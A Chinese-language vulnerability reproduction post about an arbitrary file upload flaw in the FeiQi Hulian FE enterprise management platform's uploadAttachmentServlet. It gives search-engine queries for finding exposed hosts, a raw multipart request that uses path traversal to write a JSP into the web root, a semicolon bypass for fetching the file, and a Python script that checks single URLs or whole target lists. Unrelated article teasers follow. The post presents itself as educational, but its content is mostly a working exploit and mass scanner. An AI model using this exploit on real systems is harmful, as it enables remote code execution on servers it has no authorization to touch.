【漏洞復現】飛企互聯-FE企業運營管理平臺——uploadAttachmentServlet——文件上傳

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

飛企互聯-FE企業運營管理平臺是一個基于云計算、智能化、大數據、物聯網、移動互聯網等技術支撐的云工作臺。其uploadAttachmentServlet存在文件上傳漏洞,導致惡意攻擊者可以上傳惡意后門、木馬等,從而獲取對服務器的遠程訪問權限或者破壞系統,對服務器造成極大的安全隱患。

漏洞復現

1)信息收集
fofa:app="FE-協作平臺"
hunter:app.name="飛企互聯 FE"||app.name="飛企互聯 FE 6.0+"
在這里插入圖片描述

圣人不死,大盜不止。
在這里插入圖片描述
2)構造數據包

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

multipart/form-data格式的請求解釋:

MIME多部分數據格式,通常用于HTTP POST請求中,特別是在需要上傳文件和額外數據的情況下。這種格式允許在一個請求中發送多種類型的數據,比如文件、表單字段等。

詳細解析代碼片段:

  1. 邊界(Boundary)定義

    ------WebKitFormBoundaryKNt0t4vBe8cX9rZk
    

    這個字符串是分隔不同數據部分的邊界。它是在請求頭中定義的,并且在每個數據部分之間重復出現,以區分不同的部分。

  2. uploadFile 部分

    Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
    Content-Type: text/plain<% out.println("123123");%>
    
    • Content-Disposition 頭部指定了這個部分是一個表單數據(form-data),名字為uploadFile,并且關聯了一個文件名from.jsp。這表明這部分數據代表了一個文件。
    • Content-Type 指定這部分數據的類型是text/plain,但實際上,這里的from.jsp看起來是一個Java Server Page(JSP)文件。
    • 接下來是JSP文件的內容,它會輸出字符串123123到頁面。
  3. json 部分

    Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
    
    • 這部分同樣是一個表單數據,名字為json,沒有指定文件名,因為這并不是一個文件上傳。
    • 數據是一個JSON對象,包含了iq對象,其中有一個query字段,其值是一個對象,具有UpdateType屬性,值為mail
  4. 結束邊界

    ------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
    

    這是邊界字符串的結束標記,表示所有數據部分的傳輸已經完成。

這樣的格式常用于上傳文件到服務器,同時可以攜帶額外的參數,比如描述文件的元數據或處理文件的指令。在實際應用中,邊界字符串通常是隨機生成的,以避免與數據內容沖突。

在這里插入圖片描述

3)查看上傳文件,;繞過解析

GET /from; HTTP/1.1
Host: ip

在這里插入圖片描述
回顯123123,文件上傳成功

測試工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入請求庫,用于發送HTTP請求
import requests
# 導入隨機庫,用于生成隨機字符串
import random
# 導入字符串庫,用于獲取ASCII字母和數字
import string
# 導入解析命令行參數的庫
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定義紅色和重置終端顏色的字符串,用于輸出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全請求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成隨機基礎字符串
def rand_base(n):"""生成包含n個字符的隨機字符串。參數:n -- 字符串的長度返回值:隨機生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 檢測URL是否存在上傳漏洞
def check_vulnerability(url):"""檢測給定URL是否存在飛企互聯-FE企業運營管理平臺的上傳漏洞。參數:url -- 待檢測的URL無返回值。如果檢測到漏洞,則打印提示信息;否則,打印無漏洞信息。"""# 生成隨機文件名filename = rand_base(6)# 構造上傳URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 設置上傳請求的頭部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 構造上傳請求的數據upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 發送上傳請求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 構造訪問上傳文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 發送訪問請求response_access = requests.get(access_url, verify=False, timeout=30)# 檢查上傳和訪問的響應,判斷是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飛企互聯-FE企業運營管理平臺uploadAttachmentServlet任意文件上傳漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 請求超時,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 請求失敗: {e}")# 程序入口
def main():# 解析命令行參數parser = argparse.ArgumentParser(description='檢測目標地址是否存在飛企互聯-FE企業運營管理平臺uploadAttachmentServlet任意文件上傳漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')args = parser.parse_args()# 根據參數執行漏洞檢測if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

運行截圖
在這里插入圖片描述


鄧林之陰初見昆侖君,驚鴻一瞥,亂我心曲。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/44179.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/44179.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/44179.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux用戶和用戶組的創建和添加

創建用戶組 在Linux中創建用戶組&#xff0c;您可以使用groupadd命令&#xff0c;后跟用戶組名稱。例如&#xff0c;要創建一個名為newgroup的用戶組&#xff0c;您可以執行以下命令&#xff1a; sudo groupadd newgroup創建用戶 創建用戶&#xff0c;您可以使用useradd命令&am…

平安養老險山西分公司開展2024年“7.8全國保險公眾宣傳日”活動

為深入貫徹新發展理念和中央金融工作會議、中央經濟工作會議精神&#xff0c;推動保險行業形象持續向好&#xff0c;根據中保協《關于印發<2024年“7.8全國保險公眾宣傳日”活動方案>的通知》和山西省保險行業協會《山西保險業2024年“7.8全國保險公眾宣傳日”活動方案》…

在誤裝Windows server2019 后如何利用Windows.old恢復?

&#x1f3c6;本文收錄于《CSDN問答解惑》專欄&#xff0c;主要記錄項目實戰過程中的Bug之前因后果及提供真實有效的解決方案&#xff0c;希望能夠助你一臂之力&#xff0c;幫你早日登頂實現財富自由&#x1f680;&#xff1b;同時&#xff0c;歡迎大家關注&&收藏&…

DevExpress(WinForms WPF)中文教程 - 如何減小文檔文件大小?

DevExpress擁有.NET開發需要的所有平臺控件&#xff0c;包含600多個UI控件、報表平臺、DevExpress Dashboard eXpressApp 框架、適用于 Visual Studio的CodeRush等一系列輔助工具。屢獲大獎的軟件開發平臺DevExpress近期重要版本v24.1已正式發布&#xff0c;該版本擁有眾多新產…

PlugLink 與 AI 大模型:深入 COZE API 鏈接實踐(附源碼)

在這個技術日新月異的時代&#xff0c;AI 不再是遙不可及的概念&#xff0c;而是逐漸成為我們日常生活與工作中不可或缺的一部分。作為技術領域的探路者&#xff0c;我深感榮幸地向大家介紹 PlugLink —— 一個旨在簡化 AI 應用集成并促進跨領域協作的開源平臺&#xff0c;以及…

開源數字人項目Hallo

硬件條件&#xff1a; gpu最低12G 軟件&#xff1a; cuda需支持 Python選擇3.10吧&#xff0c;我的版本3.11 源碼&#xff1a; GitHub - fudan-generative-vision/hallo: Hallo: Hierarchical Audio-Driven Visual Synthesis for Portrait Image Animation models文件&…

閱讀筆記——《Fuzz4All: Universal Fuzzing with Large Language Models》

【參考文獻】Xia C S, Paltenghi M, Le Tian J, et al. Fuzz4all: Universal fuzzing with large language models[C]//Proceedings of the IEEE/ACM 46th International Conference on Software Engineering. 2024: 1-13.【注】本文僅為作者個人學習筆記&#xff0c;如有冒犯&…

android paddingStart paddingLeft 使用區別

在 Android 開發中&#xff0c;paddingStart 和 paddingLeft 都是用來設置視圖的內邊距&#xff0c;但它們有一些重要的區別&#xff0c;尤其是在處理國際化和不同的布局方向&#xff08;LTR 和 RTL&#xff09;時&#xff1a; paddingLeft: 設置視圖內容左側的內邊距。只在從左…

科研繪圖系列:python語言實驗線圖(line Chart)

介紹 兩組數據在不同時間點的差異檢驗結果線圖 導入包 import pandas as pd import seaborn as sns import matplotlib.pyplot as plt from scipy import stats輸入數據 ctr = [2, 2, 3, 3, 4, 5, 5, 6, 4, 8, 6, 6, 9, 11, 12, 12, 15, 16, 20, 25, 27] drug = [2, 3, …

python開發prometheus exporter--用于hadoop-yarn監控

首先寫python的exporter需要知道Prometheus提供4種類型Metrics 分別是&#xff1a;Counter, Gauge, Summary和Histogram * Counter可以增長&#xff0c;并且在程序重啟的時候會被重設為0&#xff0c;常被用于任務個數&#xff0c;總處理時間&#xff0c;錯誤個數等只增不減的指…

查看wsl 版本

要查看Windows Subsystem for Linux (WSL) 的版本&#xff0c;您通常需要查看WSL的版本號以及正在運行的Linux發行版的版本。以下是檢查這兩個版本的方法&#xff1a; 1. 查看WSL的版本&#xff08;WSL 1 或 WSL 2&#xff09; 要檢查您的計算機上是否啟用了WSL 2&#xff0c…

如何錄制屏幕視頻?4款軟件,輕松錄屏

在數字化飛速發展的時代&#xff0c;如何錄制屏幕視頻已經成為我們工作、學習和娛樂中不可省略的一個重要問題。無論是制作教學教程還是錄制游戲視頻等&#xff0c;屏幕視頻錄制都為我們提供了極大的便利。今天&#xff0c;就讓我們一起探索如何錄制屏幕視頻的精彩方式&#xf…

多數據源配置導致注解Transactional失效

多數據源配置時&#xff0c;向事務管理器中注入數據源時可以直接注入DynamicRoutingDataSource而不要注入ItemDataSource類型&#xff0c;否則可能會出現事務失效問題。 其他事務失效問題參考&#xff1a; 注解Transaction踩坑指南 注解Transaction失效場景

Windows環境+C#實現顯示接口測試

代碼如下&#xff1a; using Models; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.Design; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; …

大模型“聚會”:國內卷價格,國外卷能力

[ GPT-4o和谷歌Gemini不斷宣傳現階段AI能力大幅度提高&#xff0c;那么這兩家&#xff0c;誰的大模型能力更強呢&#xff1f;這篇文章里&#xff0c;作者就展開了多維度的測試和體驗&#xff0c;想了解的同學&#xff0c;可以來看一下。 在中美AI大模型的競爭上&#xff0c;正衍…

從數據倉庫到數據湖(上):數據湖導論

文章目錄 一、什么是數據湖&#xff1f;起源數據湖的特征 二、為什么要用數據湖&#xff1f;三、數據湖與數據倉庫的區別數據倉庫和數據湖的對比 四、數據湖本質數據存儲架構數據處理工具&#xff1a;三類第一類工具第二類工具第三類工具 小結 五、總結六、參考資料 一、什么是…

[運維平臺]泛微運維平臺

運維平臺點擊登錄沒有反應&#xff0c;是因為H2數據庫損壞&#xff0c;H2數據庫在服務器異常重啟&#xff0c;磁盤滿等情況下容易損壞&#xff0c;請按照下面的步驟操作Linux&#xff1a; 運維平臺升級包https://www.weaver.com.cn/cs/monitorDownload.html 1&#xff09;請停…

常見數據庫類型和選取詳解

數據庫是用于存儲、檢索和管理數據的系統。它們可以根據數據模型的不同被分類為不同類型。以下是一些常見的數據庫類型和它們的選取詳解&#xff1a; 1. 關系型數據庫&#xff08;RDBMS&#xff09; 特點&#xff1a; 使用表格&#xff08;tables&#xff09;來組織數據。基…

百日筑基第十六天-java多線程編程淺學一下4-各種線程池學習和使用

百日筑基第十六天-java多線程編程淺學一下4-各種線程池學習和使用 使用線程池 Java語言雖然內置了多線程支持&#xff0c;啟動一個新線程非常方便&#xff0c;但是&#xff0c;創建線程需要操作系統資源&#xff08;線程資源&#xff0c;棧空間等&#xff09;&#xff0c;頻繁…

MQ四兄弟:如何保證消息順序性

在當今的分布式系統架構中&#xff0c;消息隊列&#xff08;MQ&#xff09;是不可或缺的組成部分。它們在確保系統組件之間高效通信方面發揮著關鍵作用。特別是在金融交易、物流跟蹤等對消息處理順序有嚴格要求的場景中&#xff0c;消息隊列的順序性保證顯得更為重要。接下來&a…